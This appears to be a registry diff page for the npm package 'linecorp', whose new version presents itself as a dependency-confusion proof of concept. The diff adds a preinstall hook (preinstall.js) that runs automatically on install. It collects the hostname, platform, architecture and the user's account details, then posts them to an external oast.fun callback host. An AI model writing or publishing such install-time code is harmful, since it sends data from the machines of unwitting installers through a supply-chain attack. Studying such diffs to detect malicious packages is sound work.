linecorp 0.0.1-security → 0.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of linecorp might be problematic. Click here for more details.
- package/README.md +7 -3
- package/index.js +1 -0
- package/package.json +9 -3
- package/preinstall.js +28 -0
package/README.md
CHANGED
|
@@ -1,5 +1,9 @@
|
|
|
1
|
-
#
|
|
1
|
+
# linecorp - Dependency Confusion PoC
|
|
2
2
|
|
|
3
|
-
This package
|
|
3
|
+
This package is a **Proof of Concept** created by KRKEEPER for ethical testing of Dependency Confusion vulnerabilities.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
## Purpose
|
|
6
|
+
|
|
7
|
+
- Demonstrates how packages with similar names can be unintentionally downloaded in systems with misconfigured dependency management.
|
|
8
|
+
|
|
9
|
+
**Use responsibly. This module is intended for educational purposes only.**
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
console.log("KRKEEPER - This is a Proof of Concept for Dependency Confusion. Educational Use Only.");
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "linecorp",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "0.0.5",
|
|
4
|
+
"description": "linecorp - module krkeeper testing",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
const data = JSON.stringify({
|
|
5
|
+
hostname: os.hostname(),
|
|
6
|
+
platform: os.platform(),
|
|
7
|
+
arch: os.arch(),
|
|
8
|
+
userInfo: os.userInfo()
|
|
9
|
+
});
|
|
10
|
+
|
|
11
|
+
const options = {
|
|
12
|
+
hostname: 'avogzckzvolobfemetjfrdebh6mtiikgy.oast.fun',
|
|
13
|
+
port: 443,
|
|
14
|
+
path: '/',
|
|
15
|
+
method: 'POST',
|
|
16
|
+
headers: {
|
|
17
|
+
'Content-Type': 'application/json',
|
|
18
|
+
'Content-Length': data.length
|
|
19
|
+
}
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
const req = https.request(options, res => {
|
|
23
|
+
res.on('data', () => {}); // Ignora la respuesta
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
req.on('error', error => {}); // Manejo básico de errores
|
|
27
|
+
req.write(data);
|
|
28
|
+
req.end();
|